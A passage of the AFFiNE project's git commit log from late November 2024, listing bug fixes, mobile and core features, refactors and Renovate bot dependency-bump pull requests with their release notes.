| [@vanilla-extract/css](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/css)) | [`1.16.0` -> `1.16.1`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fcss/1.16.0/1.16.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fcss/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fcss/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fcss/1.16.0/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fcss/1.16.0/1.16.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`4.0.17` -> `4.0.18`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.17/4.0.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.17/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.17/4.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.14` -> `2.3.15`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.14/2.3.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.1
2024-11-27 09:26:51 +00:00
pengx17 f2398574ed fix(electron): should not show context menu if there is no typos (#8895)
fix AF-1794
2024-11-27 07:00:45 +00:00
EYHN 6e25243868 refactor(infra): refactor copilot client (#8813) 2024-11-27 06:44:47 +00:00
EYHN 6b4a1aa917 refactor(core): initial multiple servers infra (#8745)
This is the initial refactoring of affine to support multiple servers, but many more changes are needed to make multi-server actually work.
2024-11-27 06:44:46 +00:00
EYHN 3f4cb5be40 fix(core): improve doc meta performance (#8913) 2024-11-27 14:18:06 +08:00
pengx17 83c587f8ad feat(core): at menu journal entries (#8877) (#8935)
fix AF-1790
fix AF-1774
added `DateSelectorDialog` for selecting a date through blocksuite;
added `AtMenuConfigService` for constructing the at menu config
fix AF-1776
fix PD-1942

resubmitted to replace #8877
2024-11-27 03:08:11 +00:00
donteatfriedrice e3a8f1e9bd fix(core): log error detail when import failed (#8930) 2024-11-26 16:09:38 +00:00
doodlewind 6ac8cca440 fix(mobile): disable AI chat block peek on mobile (#8929) 2024-11-26 11:06:15 +00:00
renovate 75516c7584 chore: bump up i18next version to v24 (#8898)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`^23.11.1` -> `^24.0.0`](https://renovatebot.com/diffs/npm/i18next/23.16.5/24.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/23.16.5/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/23.16.5/24.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>i18next/i18next (i18next)</summary>

### [`v24.0.0`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#2400)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.8...v24.0.0)

**This is a major breaking release:**

-   remove support for older environments
-   remove old i18next JSON formats
    -   To convert your existing v3 translations to the v4 format, have a look at [i18next-v4-format-converter](https://redirect.github.com/i18next/i18next-v4-format-converter) or this [web tool](https://i18next.github.io/i18next-v4-format-converter-web/).
-   remove support for compatibility to v1 API
-   Intl API is mandatory now and will not fallback anymore
-   possible compatibility layer for older formats: `test/compatibility/v4/v4Compatibility.js`
-   rename `initImmediate` to `initAsync`
-   fallback to `dev` language if plural rule not found
-   remove TypeScript v4 support. TypeScript v5 is now an optional peer dependency
-   addresses
    -   [2244](https://redirect.github.com/i18next/i18next/pull/2244)
    -   [2184](https://redirect.github.com/i18next/i18next/pull/2184)
    -   [2213](https://redirect.github.com/i18next/i18next/issues/2213)
    -   [2206](https://redirect.github.com/i18next/i18next/pull/2206)
    -   [2208](https://redirect.github.com/i18next/i18next/issues/2208)
    -   [2148](https://redirect.github.com/i18next/i18next/issues/2148)
    -   [2254](https://redirect.github.com/i18next/i18next/issues/2254)

➡️ check out the [migration guide](https://www.i18next.com/misc/migration-guide#v23.x.x-to-v24.0.0)

### [`v23.16.8`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23168)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.7...v23.16.8)

-   fix(plural): Create cache entry for PluralRules created as part of the fallback flow [2256](https://redirect.github.com/i18next/i18next/pull/2256)

### [`v23.16.7`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23167)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.6...v23.16.7)

-   if plural rule is not found, try to search with language only code [2252](https://redirect.github.com/i18next/i18next/issues/2252)

### [`v23.16.6`](https://redirect.github.com/i18next/i18next/blob/HEAD/CHANGELOG.md#23166)

[Compare Source](https://redirect.github.com/i18next/i18next/compare/v23.16.5...v23.16.6)

-   fix: Small typo in the type definitions [2250](https://redirect.github.com/i18next/i18next/pull/2250)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-26 10:51:10 +00:00
renovate 6698ecc804 chore: bump up dnd-kit monorepo (major) (#8902)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@dnd-kit/modifiers](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/modifiers)) | [`^7.0.0` -> `^8.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fmodifiers/7.0.0/8.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fmodifiers/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fmodifiers/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fmodifiers/7.0.0/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fmodifiers/7.0.0/8.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@dnd-kit/sortable](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/sortable)) | [`^8.0.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fsortable/8.0.0/9.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fsortable/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fsortable/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fsortable/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fsortable/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/modifiers)</summary>

### [`v8.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/modifiers/CHANGELOG.md#800)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/modifiers@7.0.0...@dnd-kit/modifiers@8.0.0)

##### Patch Changes

-   Updated dependencies \[[`00ec286`](https://redirect.github.com/clauderic/dnd-kit/commit/00ec286ab2fc7969549a4b19ffd42a09b5171dbe), [`995dc23`](https://redirect.github.com/clauderic/dnd-kit/commit/995dc23b7cd9019f3a920676cbe4e141e917e82c), [`f629ec6`](https://redirect.github.com/clauderic/dnd-kit/commit/f629ec6a9c3c25b749561fac31741046d96c28dc), [`99643f6`](https://redirect.github.com/clauderic/dnd-kit/commit/99643f634cd55fa0bf0898365883507b28637659), [`6bbe39b`](https://redirect.github.com/clauderic/dnd-kit/commit/6bbe39bba6ad9afd0bc6db1c345ad4e6b58f5e5e), [`545a41c`](https://redirect.github.com/clauderic/dnd-kit/commit/545a41c27c6919e4ca22a58a67f3fa02a7caab8a), [`bcaf7c4`](https://redirect.github.com/clauderic/dnd-kit/commit/bcaf7c4e57b34dfc8ff9c4eea7a01c6e525e7874)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).2.0

</details>

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/sortable)</summary>

### [`v9.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/sortable/CHANGELOG.md#900)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/sortable@8.0.0...@dnd-kit/sortable@9.0.0)

##### Patch Changes

-   [#&#8203;1542](https://redirect.github.com/clauderic/dnd-kit/pull/1542) [`f629ec6`](https://redirect.github.com/clauderic/dnd-kit/commit/f629ec6a9c3c25b749561fac31741046d96c28dc) Thanks [@&#8203;clauderic](https://redirect.github.com/clauderic)! - Fix bug with draggable and sortable elements with an `id` equal to `0`.

-   Updated dependencies \[[`00ec286`](https://redirect.github.com/clauderic/dnd-kit/commit/00ec286ab2fc7969549a4b19ffd42a09b5171dbe), [`995dc23`](https://redirect.github.com/clauderic/dnd-kit/commit/995dc23b7cd9019f3a920676cbe4e141e917e82c), [`f629ec6`](https://redirect.github.com/clauderic/dnd-kit/commit/f629ec6a9c3c25b749561fac31741046d96c28dc), [`99643f6`](https://redirect.github.com/clauderic/dnd-kit/commit/99643f634cd55fa0bf0898365883507b28637659), [`6bbe39b`](https://redirect.github.com/clauderic/dnd-kit/commit/6bbe39bba6ad9afd0bc6db1c345ad4e6b58f5e5e), [`545a41c`](https://redirect.github.com/clauderic/dnd-kit/commit/545a41c27c6919e4ca22a58a67f3fa02a7caab8a), [`bcaf7c4`](https://redirect.github.com/clauderic/dnd-kit/commit/bcaf7c4e57b34dfc8ff9c4eea7a01c6e525e7874)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).2.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-26 10:34:17 +00:00
doodlewind ba325a6040 chore: update env example (#8909)
This aligns better with the postgres config in [server development guide](https://github.com/toeverything/AFFiNE/blob/canary/docs/developing-server.md).
2024-11-26 10:17:16 +00:00
renovate 4e47eb4fd5 chore: bump up nestjs to v10.4.9 (#8921)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.8` -> `10.4.9`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.8/10.4.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.8/10.4.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-26 10:00:20 +00:00
Boshen c349a24e95 chore: upgrade oxlint to v0.13.2 (#8891)
Co-authored-by: LongYinan <lynweklm@gmail.com>
2024-11-26 17:56:35 +08:00
pengx17 d87a6f7068 fix(core): multi sub menu layer handling (#8916)
fix AF-1800, AF-1801

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/7523df2b-2326-4878-b37a-d16e4275858d.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/7523df2b-2326-4878-b37a-d16e4275858d.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/7523df2b-2326-4878-b37a-d16e4275858d.mp4">20241126-0806-30.0904958.mp4</video>
2024-11-26 08:39:09 +00:00
JimmFly e12d5f8750 fix(core): multiple settings dialog should not appear when click user plan button repeatedly (#8924) 2024-11-26 05:49:12 +00:00
JimmFly 31c806ef7e fix(core): handle the situation where the app cannot be opened after logging in (#8915)
Added buttons to open the web version of AFFiNE and download the latest client to handle the situation where the application cannot be opened after logging in.

![CleanShot 2024-11-25 at 17 19 37@2x](https://github.com/user-attachments/assets/fd4e00fa-61a2-45ac-9bbc-fc4e4a8abc4e)
2024-11-25 11:04:20 +00:00
renovate 70633d0d16 chore: bump up @blocksuite/affine version to v0.18.0 (#8899)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.17.33` -> `0.18.0`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.17.33/0.18.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.17.33/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.17.33/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.0`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0180)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.17.33...v0.18.0)

##### Minor Changes

-   [`9daa1f3`](https://redirect.github.com/toeverything/blocksuite/commit/9daa1f3): ## Feat

    -   feat(blocks): markdown adapter reference serialization and deserialization ([#&#8203;8782](https://redirect.github.com/toeverything/blocksuite/issues/8782))
    -   feat(blocks): add lazy loading to image and iframe ([#&#8203;8773](https://redirect.github.com/toeverything/blocksuite/issues/8773))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-25 08:58:22 +00:00
liuyi 0a20332674 fix(core): wrong app scheme fallback (#8914) 2024-11-25 08:47:22 +00:00
CatsJuice 7c846c4434 fix(core): cannot view pricing page if not logged in (#8907)
Due to lifetime plan card show `Upgrade` button that require accout, should show `Login` instead
2024-11-25 07:32:17 +00:00
JimmFly 4ce8a180aa fix(core): image block size limits were not enforced as expected (#8908) 2024-11-25 07:15:14 +00:00
doodlewind 08ff619d47 chore(cli): enable accessing dev server by host name (#8912)
This PR is particularly useful for debugging mobile app (and any other personal devices for testing) via [Tailscale](https://tailscale.com/), since it allows accessing a stable hostname on phone, instead of typing in an unstable IP address.

Before:

![image](https://github.com/user-attachments/assets/6ca9edd5-11b1-449b-bf8d-0423cb8a53fe)

After:

![image](https://github.com/user-attachments/assets/9df7710f-f662-4a3c-83c4-cf5f28d7c64f)
2024-11-25 06:58:14 +00:00
pengx17 f6eb84a8e0 fix(mobile): setting item popover cannot be closed (#8910)
fix AF-1798
2024-11-25 05:54:48 +00:00
CatsJuice b369ee0cca feat(mobile): disable swipe back gesture when there is no back in header (#8876)
close AF-1663, AF-1756

- new global `ModalConfigContext`
- new logic to judge whether inside modal
- render `✕` for PageHeader back if inside modal
- only enable `NavigationGesture` when there is `<` in PageHeader
2024-11-25 03:12:21 +00:00
CatsJuice 922db5ced4 feat(mobile): editor mode switch (#8896) 2024-11-25 02:54:51 +00:00
CatsJuice 5994814db8 feat(mobile): sticky journal date-picker, auto fold when scroll (#8885) 2024-11-22 10:06:42 +00:00
liuyi ad10690043 fix(server): ignore invalid subscription variant for subscriptinos query as well (#8894) 2024-11-22 13:50:21 +08:00
liuyi b5fed7b01d fix(server): ignore invalid subscription variant (#8892) 2024-11-22 03:57:38 +00:00
forehalo cd30e1a54b feat(nbstore): add idb implementation (#8809) 2024-11-22 03:13:05 +00:00
forehalo 64656d198c feat(nbstore): adapt op pattern (#8808) 2024-11-22 03:13:05 +00:00
forehalo 4125038ff8 feat(nbstore): init (#7639)
TODO

- [x] basic
- [x] storages
- [x] producer/consumer
- [x] operation pattern
- [x] events
- [x] worker
- [x] readme
- [x] peer dependencies
2024-11-22 03:13:04 +00:00
EYHN 76eabf644c fix(core): fix auth session not revalidating as expected (#8886) 2024-11-21 09:57:25 +00:00
EYHN a4c749b882 refactor(core): independent app fallback for mobile (#8884) 2024-11-21 09:38:01 +00:00
akumatus c6ac426b4c fix: ai ppt preview with toolbar widget (#8882)
Fix issue [AF-1716](https://linear.app/affine-design/issue/AF-1716).
2024-11-21 06:56:26 +00:00
CatsJuice a6232849e3 feat(mobile): doc property journal duplicated action (#8820) 2024-11-21 06:40:22 +00:00
CatsJuice c408d73257 fix(mobile): fix home header setting icon (#8859) 2024-11-21 02:05:26 +00:00
renovate 2624e26d72 chore: bump up oxlint version to v0.12.0 (#8875)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
